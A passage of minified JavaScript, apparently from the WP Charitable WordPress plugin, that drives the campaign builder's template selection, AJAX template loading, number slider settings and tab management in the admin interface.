Event(\"input\",{bubbles:true}));app.updateTemplateID(s.templateID,s.templateLabel);app.unforceTemplateSelect();app.enableFormActions();app.restartForm(s.templateID,\"design\",s.templateLabel);app.restartTemplateScreen(s.templateID);if(!s.didInitHTMLEditorFields){$(\".campaign-builder-htmleditor\").each(function(){app.initHTMLEditorFields($(this))});$(\".campaign-builder-htmleditor-min\").each(function(){app.initHTMLEditorFields($(this),true)});s.didInitHTMLEditorFields=true}CharitableUtils.triggerEvent($builder,\"charitableCampaignFormScreen\",[s.templateID])}});$builder.on(\"click\",\".button-preview-create-campaign\",function(e){e.preventDefault();var $theButton=$(this),theTemplateID=$theButton.data(\"template-id\");if(theTemplateID!==\"\"){$(\".charitable-template-list-container\").removeClass(\"disabled\");$(\"#charitable-builder-underlay\").remove();$(\".charitable-builder-modal.charitable-builder-modal-template-preview\").removeClass(\"active\");if($('#charitable-template-list .charitable-template[data-template-code=\"'+theTemplateID+'\"] .button.update-campaign').length>0){elements.$templatePreview.find(\".charitable-template-list-container-item.charitable-template-\"+theTemplateID+\" .button.update-campaign\").click()}else{elements.$templatePreview.find(\".charitable-template-list-container-item.charitable-template-\"+theTemplateID+\" .button.create-campaign\").click()}}});$builder.on(\"click\",\".button-preview-update-campaign\",function(e){e.preventDefault();var $theButton=$(this),theTemplateID=$theButton.data(\"template-id\");if(theTemplateID!==\"\"){$(\".charitable-template-list-container\").removeClass(\"disabled\");$(\"#charitable-builder-underlay\").remove();$(\".charitable-builder-modal.charitable-builder-modal-template-preview\").removeClass(\"active\");if($('#charitable-template-list .charitable-template[data-template-code=\"'+theTemplateID+'\"] .button.update-campaign').length>0){elements.$templatePreview.find(\".charitable-template-list-container-item.charitable-template-\"+theTemplateID+\" .button.update-campaign\").click()}else{elements.$templatePreview.find(\".charitable-template-list-container-item.charitable-template-\"+theTemplateID+\" .button.create-campaign\").click()}}});elements.$templatePreview.on(\"click\",\".button.update-campaign\",function(e){e.preventDefault();var theButton=$(this);if(app.hasTemplate()){$.confirm({title:charitable_builder.heads_up,content:\"\u003Cp>\"+charitable_builder.error_already_started_campaign+\"\u003C\u002Fp>\",icon:\"fa fa-exclamation-circle\",type:\"orange\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(){s.templateID=theButton.closest(\".charitable-template\").data(\"template-code\");s.templateLabel=theButton.closest(\".charitable-template\").data(\"template-label\");app.updateTemplateID(s.templateID,s.templateLabel);s.primaryThemeColorBase=s.primaryThemeColor=theButton.closest(\".charitable-template\").data(\"template-primary\");s.secondaryThemeColorBase=s.secondaryThemeColor=theButton.closest(\".charitable-template\").data(\"template-secondary\");s.tertiaryThemeColorBase=s.tertiaryThemeColor=theButton.closest(\".charitable-template\").data(\"template-tertiary\");s.buttonThemeColorBase=s.buttonThemeColor=theButton.closest(\".charitable-template\").data(\"template-button\");elements.$primaryThemeColorBase.val(s.primaryThemeColorBase);elements.$secondaryThemeColorBase.val(s.secondaryThemeColorBase);elements.$tertiaryThemeColorBase.val(s.tertiaryThemeColorBase);elements.$buttonThemeColorBase.val(s.buttonThemeColorBase);$('input[name=\"layout__advanced__theme_color_primary\"]').val(s.primaryThemeColor);$('input[name=\"layout__advanced__theme_color_secondary\"]').val(s.secondaryThemeColor);$('input[name=\"layout__advanced__theme_color_tertiary\"]').val(s.tertiaryThemeColor);$('input[name=\"layout__advanced__theme_color_button\"]').val(s.buttonThemeColor);document.querySelector('input[name=\"layout__advanced__theme_color_primary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));document.querySelector('input[name=\"layout__advanced__theme_color_secondary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));document.querySelector('input[name=\"layout__advanced__theme_color_tertiary\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));document.querySelector('input[name=\"layout__advanced__theme_color_button\"]').dispatchEvent(new Event(\"input\",{bubbles:true}));$(\"#charitable-template-list .charitable-template\").removeClass(\"active\");$(\"#charitable-template-list .charitable-banner-container\").each(function(){$(this).addClass(\"charitable-hidden\");$(this).parent().find(\".template-buttons\").removeClass(\"charitable-hidden\")});theButton.closest(\".charitable-template\").addClass(\"active\");theButton.closest(\".charitable-template\").find(\".template-buttons\").addClass(\"charitable-hidden\");theButton.closest(\".charitable-template\").find(\".charitable-banner-container\").removeClass(\"charitable-hidden\");$(\".charitable-setup-desc.secondary-text strong.template-name\").html(s.templateLabel);wpchar.debug(\"chose this path\");app.restartForm(s.templateID,\"design\",s.templateLabel);app.restartTemplateScreen(s.templateID)}},cancel:{text:charitable_builder.cancel,keys:[\"esc\"]}}})}});app.showUpgradeBanner()},restartTemplateScreen:function(templateID=0){if(templateID===\"\"||templateID===0){templateID=s.templateID}if(templateID===\"\"||templateID===0){return}const templateList=$(\".charitable-template-list-container\");templateList.find(\".template-buttons\").remove(\".preview-campaign\");templateList.find(\".button.create-campaign\").removeClass(\"create-campaign\").addClass(\"update-campaign\").html(charitable_builder.update_campaign);templateList.find(\".charitable-template\").removeClass(\"active\");templateList.find(\".charitable-template .charitable-banner-container\").addClass(\"charitable-hidden\");templateList.find('.charitable-template[data-template-code=\"'+templateID+'\"]').addClass(\"active\");templateList.find('.charitable-template[data-template-code=\"'+templateID+'\"] .charitable-banner-container').removeClass(\"charitable-hidden\")},restartForm:function(templateID=0,panel=\"design\",templateLabel=false){app.updateTemplateID(templateID,templateLabel);app.showLoadingOverlay();var data={action:\"charitable_get_campaign_builder_template_data\",id:templateID,title:s.campaignTitle,nonce:charitable_builder.nonce};$.post(charitable_builder.ajax_url,data,function(response){if(response.success){$(\"#charitable-field-options .charitable-layout-options-group-inner\").find(\".charitable-panel-field\").remove();$(\"#charitable-field-options .charitable-select-field-notice\").show();s.quilled=[];elements.$nextFieldId.val(0);app.hideLoadingOverlay();var previewLayout=typeof response.data.preview!==\"undefined\"?response.data.preview:false,previewFieldOptions=typeof response.data.field_options!==\"undefined\"?response.data.field_options:false,previewTabOptions=typeof response.data.tab_options!==\"undefined\"?response.data.tab_options:false,previewAdvancedOptions=typeof response.data.advanced!==\"undefined\"?response.data.advanced:false;if(previewLayout){app.addLayoutToPreview(previewLayout)}else{wpchar.debug(\"previewLayout is false or not defined\")}if(previewFieldOptions){app.addFieldOptions(previewFieldOptions)}else{wpchar.debug(\"previewFieldOptions is false or not defined\")}if(previewTabOptions){app.addTabOptions(previewTabOptions)}else{wpchar.debug(\"previewTabOptions is false or not defined\")}if(previewAdvancedOptions){app.addAdvancedOptions(previewAdvancedOptions)}else{wpchar.debug(\"previewAdvancedOptions is false or not defined\")}if(Charitable.Admin.Builder.DragFields&&typeof Charitable.Admin.Builder.DragFields.ready===\"function\"){Charitable.Admin.Builder.DragFields.ready()}app.updateFormHiddenFields();app.updateFormHiddenFieldID();$(\".campaign-builder-htmleditor\").each(function(){app.initHTMLEditorFields($(this))});$(\".campaign-builder-htmleditor-min\").each(function(){app.initHTMLEditorFields($(this),true)});s.didInitHTMLEditorFields=true;elements.$preview.find(\".charitable-field-section\").each(function(){app.checkFieldTargetState($(this))});app.checkAllRecommendedFields();app.updateGoalRelatedItems();app.updateEndDateRelatedItems();if(panel){app.panelSwitch(\"design\")}$(\".charitable-campaign-suggested-donations-mini\").each(function(){app.initSuggestedDonationsMini($(this));app.updateSuggestdDonationsMiniRowsFromSettings($(this))});app.checkFieldAllow();app.checkFieldMax();if(typeof response.data.settings.general.description!==\"undefined\"&&response.data.settings.general.description!=\"\"){s.campaignDescription=response.data.settings.general.description;elements.$settingsPanel.find('input[name=\"settings[general][description]\"').val(s.campaignDescription)}app.setCampaignNotSaved();$builder.trigger(\"charitableEditorScreenStart\")}else{app.formSaveError(response.data)}}).fail(function(xhr,textStatus,e){app.formSaveError()}).always(function(){})},checkNoFieldsPreview(forceModeOff=false){if(forceModeOff===false&&elements.$preview.find('.charitable-field-section[data-section-type=\"fields\"] .charitable-field').length===0&&typeof charitable_builder.no_field_preview!==\"undefined\"){$(\"#charitable-design-wrap\").addClass(\"no-fields-mode\");if($builder.find(\".charitable-no-fields-area\").hasClass(\"charitable-hidden\")){$builder.find(\".charitable-no-fields-area\").removeClass(\"charitable-hidden\")}}else if(forceModeOff!==false){if(!$builder.find(\".charitable-no-fields-area\").hasClass(\"charitable-hidden\")){$builder.find(\".charitable-no-fields-area\").addClass(\"charitable-hidden\")}$(\"#charitable-design-wrap\").removeClass(\"no-fields-mode\")}else{if(!$builder.find(\".charitable-no-fields-area\").hasClass(\"charitable-hidden\")){$builder.find(\".charitable-no-fields-area\").addClass(\"charitable-hidden\")}$(\"#charitable-design-wrap\").removeClass(\"no-fields-mode\")}},checkFieldTargetState($section=false){if(false===$section){return}if($section.data(\"section-type\")!==\"fields\"&&$section.data(\"section-type\")!==\"tabs\"){return}if($section.data(\"section-type\")===\"fields\"){if($section.find(\".charitable-field\").length===0){$section.removeClass(\"charitable-field-target-inactive\").addClass(\"charitable-field-target\")}else{$section.removeClass(\"charitable-field-target\").addClass(\"charitable-field-target-inactive\")}}else if($section.data(\"section-type\")===\"tabs\"){if($section.find(\".tab_content_item.active .charitable-field\").length===0){$section.find(\".tab_content_item.active\").removeClass(\"empty-tab\").addClass(\"empty-tab\")}else{$section.find(\".tab_content_item.active\").removeClass(\"empty-tab\")}}},addAdvancedOptions(previewAdvancedOptions){var advancedFieldsInTab=$(\".charitable-layout-options-tab-advanced\").find(\"input, select\");advancedFieldsInTab.each(function(){var $thisInput=$(this),advancedFieldId=$thisInput.data(\"advanced-field-id\");if(typeof previewAdvancedOptions[advancedFieldId]!==\"undefined\"&&advancedFieldId!=\"\"){if($thisInput.is(\"select\")){$thisInput.val(previewAdvancedOptions[advancedFieldId]).change()}else{$thisInput.val(previewAdvancedOptions[advancedFieldId])}}})},addFieldOptions(previewFieldOptions){elements.$fieldOptions.find(\".charitable-layout-options-group-inner .charitable-select-field-notice\").after(previewFieldOptions)},addTabOptions(previewTabOptions){elements.$fieldOptions.find(\".charitable-layout-options-tab.charitable-layout-options-tab-tabs .charitable-layout-options-group-inner\").html(previewTabOptions)},addLayoutToPreview(previewLayout){elements.$preview.find(\".charitable-design-wrap\").replaceWith(previewLayout)},alignFieldEvents:function($builder){$builder.on(\"click\",\".charitable-panel-field-align a\",function(e){e.preventDefault();var clickedLink=$(this),panelField=clickedLink.closest(\".charitable-panel-field\"),alignValue=\"\"!==clickedLink.data(\"align-value\")?clickedLink.data(\"align-value\"):\"center\";panelField.find(\"span\").removeClass(\"active\");panelField.find('input[type=\"hidden\"').val(alignValue);clickedLink.parent().addClass(\"active\");app.setCampaignNotSaved()})},numberSliderEvents:function($builder){elements.$fieldOptions.on(\"input change\",'input[type=\"range\"]',function(e){var minimum_value=$(this).attr(\"min-actual\")?parseInt($(this).attr(\"min-actual\")):0,scrolled_value=$(this).val();if(minimum_value>0){if(scrolled_value\u003C=minimum_value){$(this).val(minimum_value);$(this).next().addClass(\"min-reach\")}else{$(this).next().removeClass(\"min-reach\")}}app.setCampaignNotSaved()});$builder.on(\"change input\",\".charitable-panel-field-number-slider input[type=range]\",function(event){var hintEl=$(event.target).siblings(\".charitable-number-slider-hint\");hintEl.attr(\"data-hint\",event.target.value);hintEl.html(event.target.value+hintEl.data(\"symbol\")+\"\u003Csmall>minimum\u003C\u002Fsmall>\")});$builder.on(\"input\",\".charitable-field-option-row-min_max .charitable-input-row .charitable-number-slider-min\",app.fieldNumberSliderUpdateMin);$builder.on(\"input\",\".charitable-field-option-row-min_max .charitable-input-row .charitable-number-slider-max\",app.fieldNumberSliderUpdateMax);$builder.on(\"input\",\".charitable-number-slider-default-value\",_.debounce(app.changeNumberSliderDefaultValue,500));$builder.on(\"input\",\".charitable-number-slider-step\",_.debounce(app.changeNumberSliderStep,500));$builder.on(\"focusout\",\".charitable-number-slider-step\",app.checkNumberSliderStep);$builder.on(\"input\",\".charitable-number-slider-value-display\",_.debounce(app.changeNumberSliderValueDisplay,500));$builder.on(\"input\",\".charitable-number-slider-min\",_.debounce(app.changeNumberSliderMin,500));$builder.on(\"input\",\".charitable-number-slider-max\",_.debounce(app.changeNumberSliderMax,500))},changeNumberSliderMin:function(event){var fieldID=$(event.target).parents(\".charitable-field-option-row\").data(\"fieldId\");var value=parseFloat(event.target.value);if(isNaN(value)){return}app.updateNumberSliderDefaultValueAttr(fieldID,event.target.value,\"min\")},changeNumberSliderMax:function(event){var fieldID=$(event.target).parents(\".charitable-field-option-row\").data(\"fieldId\");var value=parseFloat(event.target.value);if(isNaN(value)){return}app.updateNumberSliderDefaultValueAttr(fieldID,event.target.value,\"max\").updateNumberSliderStepValueMaxAttr(fieldID,event.target.value)},changeNumberSliderValueDisplay:function(event){var str=event.target.value;var fieldID=$(event.target).parents(\".charitable-field-option-row\").data(\"fieldId\");var defaultValue=document.getElementById(\"charitable-field-option-\"+fieldID+\"-default_value\");if(defaultValue){app.updateNumberSliderHintStr(fieldID,str).updateNumberSliderHint(fieldID,defaultValue.value)}},changeNumberSliderStep:function(event){var value=parseFloat(event.target.value);if(isNaN(value)){return}var max=parseFloat(event.target.max),min=parseFloat(event.target.min),fieldID=$(event.target).parents(\".charitable-field-option-row\").data(\"fieldId\");if(value\u003C=0){return}if(value>max){event.target.value=max;return}if(value\u003Cmin){event.target.value=min;return}app.updateNumberSliderAttr(fieldID,value,\"step\").updateNumberSliderDefaultValueAttr(fieldID,value,\"step\")},checkNumberSliderStep:function(event){var value=parseFloat(event.target.value),$input=$(this);if(!isNaN(value)&&value>0){return}$.confirm({title:charitable_builder.heads_up,content:charitable_builder.error_number_slider_increment,icon:\"fa fa-exclamation-circle\",type:\"orange\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(){$input.val(\"\").trigger(\"focus\")}}}})},changeNumberSliderDefaultValue:function(event){var value=parseFloat(event.target.value);if(!isNaN(value)){var max=parseFloat(event.target.max),min=parseFloat(event.target.min),fieldID=$(event.target).parents(\".charitable-field-option-row-default_value\").data(\"fieldId\");if(value>max){event.target.value=max;return}if(value\u003Cmin){event.target.value=min;return}app.updateNumberSlider(fieldID,value).updateNumberSliderHint(fieldID,value)}},updateNumberSliderDefaultValueAttr:function(fieldID,newValue,attr){var input=document.getElementById(\"charitable-field-option-\"+fieldID+\"-default_value\");if(input){var value=parseFloat(input.value);input.setAttribute(attr,newValue);newValue=parseFloat(newValue);if(\"max\"===attr&&value>newValue){input.value=newValue;$(input).trigger(\"input\")}if(\"min\"===attr&&value\u003CnewValue){input.value=newValue;$(input).trigger(\"input\")}}return this},updateNumberSlider:function(fieldID,value){var numberSlider=document.getElementById(\"charitable-number-slider-\"+fieldID);if(numberSlider){numberSlider.value=value}return this},updateNumberSliderAttr:function(fieldID,value,attr){var numberSlider=document.getElementById(\"charitable-number-slider-\"+fieldID);if(numberSlider){numberSlider.setAttribute(attr,value)}return this},updateNumberSliderHintStr:function(fieldID,str){var hint=document.getElementById(\"charitable-number-slider-hint-\"+fieldID);if(hint){hint.dataset.hint=str}return this},updateNumberSliderHint:function(fieldID,value){var hint=document.getElementById(\"charitable-number-slider-hint-\"+fieldID);if(hint){hint.innerHTML=wpchar.sanitizeHTML(hint.dataset.hint).replace(\"{value}\",\"\u003Cb>\"+value+\"\u003C\u002Fb>\")}return this},fieldNumberSliderUpdateMin:function(event){var $options=$(event.target).parents(\".charitable-field-option-row-min_max\"),max=parseFloat($options.find(\".charitable-number-slider-max\").val()),current=parseFloat(event.target.value);if(isNaN(current)){return}if(max\u003C=current){event.preventDefault();this.value=max;return}var fieldId=$options.data(\"field-id\"),numberSlider=$builder.find(\"#charitable-field-\"+fieldId+' input[type=\"range\"]');numberSlider.attr(\"min\",current)},fieldNumberSliderUpdateMax:function(event){var $options=$(event.target).parents(\".charitable-field-option-row-min_max\"),min=parseFloat($options.find(\".charitable-number-slider-min\").val()),current=parseFloat(event.target.value);if(isNaN(current)){return}if(min>=current){event.preventDefault();this.value=min;return}var fieldId=$options.data(\"field-id\");var numberSlider=$builder.find(\"#charitable-field-\"+fieldId+' input[type=\"range\"]');numberSlider.attr(\"max\",current)},updateNumberSliderStepValueMaxAttr:function(fieldID,newValue){var input=document.getElementById(\"charitable-field-option-\"+fieldID+\"-step\");if(input){var value=parseFloat(input.value);input.setAttribute(\"max\",newValue);newValue=parseFloat(newValue);if(value>newValue){input.value=newValue;$(input).trigger(\"input\")}}return this},isVisitedViaBackButton:function(){if(!performance){return false}var isVisitedViaBackButton=false;performance.getEntriesByType(\"navigation\").forEach(function(nav){if(nav.type===\"back_forward\"){isVisitedViaBackButton=true}});return isVisitedViaBackButton},hideLoadingOverlay:function(){var $overlay=$(\"#charitable-builder-overlay\");$overlay.addClass(\"fade-out\");setTimeout(function(){$overlay.hide()},200)},initCodeEditor:function(){if($(\".campaign-builder-codeeditor\").length>0){var field_id=\"\";$(\".campaign-builder-codeeditor\").each(function(){if($(this).attr(\"id\").indexOf(\"charitable-panel-field-settings-field_html_html_\")!==-1){field_id=$(this).attr(\"id\").replace(\"charitable-panel-field-settings-field_html_html_\",\"\");wpchar.debug(\"field_id: \"+field_id);$builder.trigger(\"charitableFieldAddHTML\",[field_id,\"html\"])}})}},showLoadingOverlay:function(){var $overlay=$(\"#charitable-builder-overlay\");$overlay.removeClass(\"fade-out\");$overlay.show()},updateFormUI:function(element=false,value=false){var title=false;if(element===\"title\"){title=value}else{title=$(\"input.charitable-form-name\").val()}title=title.replace(\u002F[^\\w\\s\\u00C0-\\u024F\\u1E00-\\u1EFF\\u2C60-\\u2C7F\\uA720-\\uA7FF _.,!\"()'\\\u002F$[\\]:@#%-]\u002Fgi,\"\");elements.$campaignNameTopBanner=$(\"input.charitable-form-name\");elements.$campaignNamePreview=$(\".charitable-preview .charitable-form-name\");elements.$campaignNameFieldTitleSettings=$(\"input.charitable-campaign-builder-title\");elements.$campaignNameTopBanner.val(title);elements.$campaignNamePreview.html(title);elements.$campaignNameFieldTitleSettings.val(title);elements.$preview.find(\".charitable-field-campaign-title .charitable-campaign-builder-placeholder-preview-text\").html('\u003Ch1 class=\"charitable-campaign-title\">'+title+\"\u003C\u002Fh1>\");if(element===\"title\"){s.campaignTitle=title;app.resizeTopCampaignTitleInputBox()}},bindUIActions:function(){app.bindAutoResizeCampaignTitle();app.bindUIEditCampaignTitle();app.bindCampaignTitleBlockTextField();app.bindUIActionsPanels();app.bindUIActionsFields();app.bindUIActionsPreview();app.bindUIActionsSaveExit();app.bindUIActionsGeneral();app.bindUITabs();$builder.on(\"change\",\"input, textarea, select, checkbox, radio\",function(e){app.setCampaignNotSaved()});app.bindUILayoutOptionsAdvanced();app.bindUISettingsRevealGroups();app.bindUIMoneyTextFields();app.checkFieldConditionals();$builder.on(\"change\",\"select#charitable-panel-field-settings-campaign_campaign_creator_id\",function(e){app.updateCampaignCreatorInfo()});$builder.on(\"click\",\"div#charitable-marketing-form a.button-link, div#charitable-payment-form a.button-link, div#charitable-feedback-form a.button-link\",function(e){e.preventDefault();app.initFeedbackForms($(this))});$builder.on(\"click\",\"a.send-feedback\",function(e){e.preventDefault();$(\".charitable-panel-content-wrap\").animate({scrollTop:0},500);$(\".charitable-template-list-container\").addClass(\"disabled\");$(\".charitable-feedback-form-container\").after('\u003Cdiv id=\"charitable-builder-underlay\" class=\"charitable-builder-underlay\">\u003C\u002Fdiv>');$(\".charitable-feedback-form-container\").css(\"opacity\",\"100\").css(\"visibility\",\"visible\");$(\".charitable-feedback-form-container\").find(\".charitable-feedback-form-interior\").removeClass(\"charitable-hidden\");$(\".charitable-feedback-form-container\").find(\"textarea\").val(\"\");$(\".charitable-feedback-form-interior-confirmation\").addClass(\"charitable-hidden\")});$builder.on(\"keyup\",\"table.charitable-campaign-suggested-donations-mini input\",function(e){var field_id=parseInt($(this).closest(\".charitable-panel-field\").data(\"field-id\"));if(field_id>0){var theIndex=$(this).index('.charitable-panel-field[data-field-id=\"'+field_id+'\"] table.charitable-campaign-suggested-donations-mini input[type=\"text\"].campaign_suggested_donations');app.updateSuggestDonationsSettings($(this),theIndex)}});$builder.on(\"change keyup blur input\",'table.charitable-campaign-suggested-donations input[type=\"text\"].campaign_suggested_donations',function(e){var theIndex=$(this).index('.charitable-campaign-suggested-donations input[type=\"text\"].campaign_suggested_donations'),field_name=$(this).attr(\"name\");if(field_name.indexOf(\"recurring\")\u003C1){app.updateSuggestDonationsSettings($(this),theIndex)}});$builder.on(\"change\",'.charitable-campaign-builder-allow-custom-donations input[type=\"checkbox\"]',function(e){$('.charitable-campaign-builder-allow-custom-donations input[type=\"checkbox\"]').prop(\"checked\",$(this).is(\":checked\"));app.updateAllowCustomDonationSettings($(this).is(\":checked\"))});$builder.on(\"change\",'input[type=\"radio\"].campaign_suggested_donations',function(e){var field_id=parseInt($(this).closest(\".charitable-panel-field\").data(\"field-id\")),field_name=$(this).attr(\"name\");if(field_name.indexOf(\"recurring\")\u003C1){app.updateSuggestedDonationAmountDefault($(this).val())}});app.bindUIInputRange();$builder.on(\"click\",\".education-buttons button.update-to-pro-link\",function(e){if($(this).prev(\"a\").length>0){window.open($(this).prev(\"a\").attr(\"href\"),\"_blank\")}else{window.open(\"https:\u002F\u002Fwpcharitable.com\u002Flite-vs-pro\u002F\",\"_blank\")}})},bindUILayoutOptionsAdvanced:function(){$builder.on(\"change\",\"select#charitable-design-layout-options-advanced-tab-style\",function(e){e.preventDefault();var $this=$(this),$preview_nav=$(\"nav.charitable-campaign-preview-nav\");$($this).find(\"option\").each(function(){$preview_nav.removeClass(\"tab-style-\"+this.value)});$preview_nav.addClass(\"tab-style-\"+$this.find(\":selected\").val())});$builder.on(\"change\",\"select#charitable-design-layout-options-advanced-tab-size\",function(e){e.preventDefault();var $this=$(this),$preview_nav=$(\"nav.charitable-campaign-preview-nav\");$($this).find(\"option\").each(function(){$preview_nav.removeClass(\"tab-size-\"+this.value)});$preview_nav.addClass(\"tab-size-\"+$this.find(\":selected\").val())})},tabGroupsAdd:function(el,e){e.preventDefault();var count=elements.$sortableTabContent.find(\".tab_content_item\").length;if(count>=s.maxNumberOfTabs){app.formGenericNotice(\"You cannot have more than \"+s.maxNumberOfTabs+\" tabs in your campaign template.\");return}var $this=$(el),$groupLast=$this.parent().find(\".charitable-group.charitable-layout-options-tab-group.hidden\").last(),$newGroup=$groupLast.clone(),tab_content=elements.$preview.find(\".tab-content\"),default_tab_content_type=\"html\";var dataList=$(\".charitable-group.charitable-layout-options-tab-group\").map(function(){return parseInt($(this).attr(\"data-group_id\"))}).get();var groupID=Math.max.apply(null,dataList)+1;if(typeof groupID===\"undefined\"){app.formGenericError(\"Error ecountered attempting to add another tab.\");return}$newGroup.attr(\"data-group_id\",groupID);$newGroup.attr(\"data-tab-id\",groupID);$newGroup.find(\".charitable-group-row\").attr(\"data-tab-id\",groupID);$newGroup.find(\"input, select, textarea, label\").each(function(index){var $this=$(this),forAttr=$this.attr(\"for\"),nameAttr=$this.attr(\"name\"),idAttr=$this.attr(\"id\");if(typeof idAttr!==\"undefined\"&&idAttr!==false){$this.attr(\"id\",$this.attr(\"id\").replace(\"_xxx_\",\"_\"+groupID+\"_\"))}if(typeof nameAttr!==\"undefined\"&&nameAttr!==false){$this.attr(\"name\",$this.attr(\"name\").replace(\"_xxx_\",\"_\"+groupID+\"_\"))}if(typeof forAttr!==\"undefined\"&&forAttr!==false){$this.attr(\"for\",$this.attr(\"for\").replace(\"_xxx_\",\"_\"+groupID+\"_\"))}});$newGroup.find('input[name=\"tabs__'+groupID+'__title\"]').val(\"New Tab\");$newGroup.find('textarea[name=\"tabs__'+groupID+'__desc\"]').html(\"Content\");$(\".charitable-layout-options-tab-group\").removeClass(\"active\");$newGroup.addClass(\"active\");$newGroup.removeClass(\"charitable-closed\").addClass(\"charitable-open\").removeClass(\"hidden\").find(\".charitable-angle-right\").removeClass(\"charitable-angle-right\").addClass(\"charitable-angle-down\");$this.before($newGroup);app.bindUIActionPanelsTabs();app.checkHideTabNavigation();$(\"nav.charitable-campaign-preview-nav ul li\").removeClass(\"active\");tab_content.find(\"ul li\").removeClass(\"active\");$(\"nav.charitable-campaign-preview-nav ul\").append('\u003Cli data-tab-type=\"html\" data-tab-id=\"'+groupID+'\" class=\"tab_title active\" id=\"tab_'+groupID+'_title\">\u003Ca href=\"#\">'+charitable_builder.new_tab+\"\u003C\u002Fa>\u003C\u002Fli>\");tab_content.find(\"ul\").append('\u003Cli id=\"tab_'+groupID+'_content\" class=\"tab_content_item empty-tab active tab_type_'+default_tab_content_type+'\" data-tab-type=\"'+default_tab_content_type+'\" data-tab-id=\"'+groupID+'\">\u003Cdiv class=\"charitable-tab-wrap ui-sortable\">\u003Cp class=\"empty-tab-notice\">'+charitable_builder.empty_tab+\"\u003C\u002Fp>\u003C\u002Fdiv>\u003C\u002Fli>\");tab_content.removeClass(\"empty-tabs\");tab_content.find(\".no-tab-notice\").remove();$builder.trigger(\"charitableAddNewTab\",groupID)},bindUITabs:function(){$builder.on(\"click\",\"button.charitable-tab-groups-add\",function(e){app.tabGroupsAdd(this,e)});$builder.find(\".charitable-layout-options-tab-tabs .charitable-layout-options-group-inner\").sortable({handle:\".charitable-draggable\",update:function(event,ui){var dataList=$(\".charitable-group.charitable-layout-options-tab-group\").map(function(){if(!$(this).hasClass(\"hidden\")){return parseInt($(this).attr(\"data-group_id\"))}}).get();var activeList=$(\".charitable-group.charitable-layout-options-tab-group\").map(function(){if($(this).hasClass(\"active\")){return parseInt($(this).attr(\"data-group_id\"))}}).get();$(\"nav.charitable-campaign-preview-nav ul\").empty();dataList.forEach(function(groupID){var $tab=$(\"#charitable-field-options\").find('[data-group_id=\"'+groupID+'\"]'),textFieldnName=groupID,isActive=activeList.indexOf(groupID)>=0?\"active\":\"\",tabType=groupID!==0&&\"\"!==$tab.find('input[name=\"tabs__'+textFieldnName+'__type\"').val()?$tab.find('input[name=\"tabs__'+textFieldnName+'__type\"').val():\"html\",tabTitle=$tab.find('input[name=\"tabs__'+textFieldnName+'__title\"').val();$(\"nav.charitable-campaign-preview-nav ul\").append('\u003Cli data-tab-type=\"'+tabType+'\" data-tab-id=\"'+groupID+'\" class=\"tab_title '+isActive+'\" id=\"tab_'+groupID+'_title\">\u003Ca href=\"#\">'+tabTitle+\"\u003C\u002Fa>\u003C\u002Fli>\")})}});$builder.on(\"click\",\"input, select, textarea, .ql-editor\",\".charitable-layout-options-tab-tabs .charitable-layout-options-group-inner .charitable-layout-options-tab-group\",function(e){if(!$(this).closest(\".charitable-layout-options-tab-group\").hasClass(\"active\")){var group_id=$(this).closest(\".charitable-layout-options-tab-group\").data(\"group_id\");$('.charitable-preview nav.charitable-campaign-preview-nav li[data-tab-id=\"'+group_id+'\"] a').click()}});$builder.on(\"click\",\"a.charitable-configure-tab-settings\",function(e){app.fieldTabToggle(\"layout-options\");$(\".charitable-layout-options-tab\").removeClass(\"active\");$(\".charitable-layout-options-tab.charitable-layout-options-tab-tabs\").addClass(\"active\")});$builder.on(\"click\",\"nav li.tab_title a\",function(e){e.preventDefault();var $preview=$(\".charitable-campaign-preview\"),tab_id=$(this).parent().data(\"tab-id\"),tab_type=$preview.find(\"li#tab_\"+tab_id+\"_title\").attr(\"data-tab-type\");$(\".tab-content ul li\").removeClass(\"active\");$(\"nav li.tab_title\").removeClass(\"active\");$(this).parent().addClass(\"active\");$(\".tab-content ul li#tab_\"+tab_id+\"_content\").addClass(\"active\");$(\".charitable-layout-options-tab\").removeClass(\"active\");$(\".charitable-layout-options-tab.charitable-layout-options-tab-tabs\").addClass(\"active\");$(\".charitable-layout-options-tab\").find(\".charitable-layout-options-tab-group\").each(function(){$(this).removeClass(\"charitable-open\");var cookieValue=wpCookies.get(\"charitable_panel_layout_options_tabs_tab_open_\"+$(this).data(\"group_id\"));if(cookieValue===\"true\"){$(this).addClass(\"charitable-open\");$(this).find(\".charitable-general-layout-heading a.charitable-toggleable-group i\").addClass(\"charitable-angle-down\");$(this).find(\".charitable-general-layout-heading a.charitable-toggleable-group i\").removeClass(\"charitable-angle-right\");$(this).removeClass(\"charitable-closed\")}else{$(this).removeClass(\"charitable-open\");$(this).find(\".charitable-general-layout-heading a.charitable-toggleable-group i\").removeClass(\"charitable-angle-down\");$(this).find(\".charitable-general-layout-heading a.charitable-toggleable-group i\").addClass(\"charitable-angle-right\");$(this).addClass(\"charitable-closed\")}});$(\".charitable-layout-options-tab .charitable-group\").removeClass(\"active\");$(\".charitable-layout-options-tab\").find(\"[data-group_id=\"+tab_id+\"]\").addClass(\"active\").removeClass(\"charitable-closed\");$(\".charitable-layout-options-tab\").find(\"[data-group_id=\"+tab_id+\"]\").find(\".charitable-group-rows\").show();$(\".charitable-layout-options-tab\").find(\"[data-group_id=\"+tab_id+\"]\").find(\".charitable-toggleable-group i\").removeClass(\".charitable-angle-right\").addClass(\"charitable-angle-down\");$(\"#layout-options a\").click();$(\"#charitable-preview-tab-container\").addClass(\"active\");wpCookies.set(\"charitable_panel_tab_section_tab_id\",tab_id,2592e3);wpCookies.set(\"charitable_panel_layout_options_tabs_tab_open_\"+tab_id,true,2592e3);wpCookies.set(\"charitable_panel_content_section\",\"\",2592e3);wpCookies.set(\"charitable_panel_active_field_id\",\"\",2592e3)});$builder.on(\"change\",\".charitable-group select.tab_type\",function(e){e.preventDefault();var $this=$(this),group_id=$this.closest(\".charitable-group\").data(\"group_id\"),$preview=$(\".charitable-campaign-preview\"),selected_value=$this.val();$preview.find(\"nav li.tab_title[data-tab-id=\"+group_id+\"]\").attr(\"data-tab-type\",selected_value);$preview.find(\"div.tab-content ul li#tab_\"+group_id+\"_content\").attr(\"data-tab-type\",selected_value);$preview.find(\"div.tab-content ul 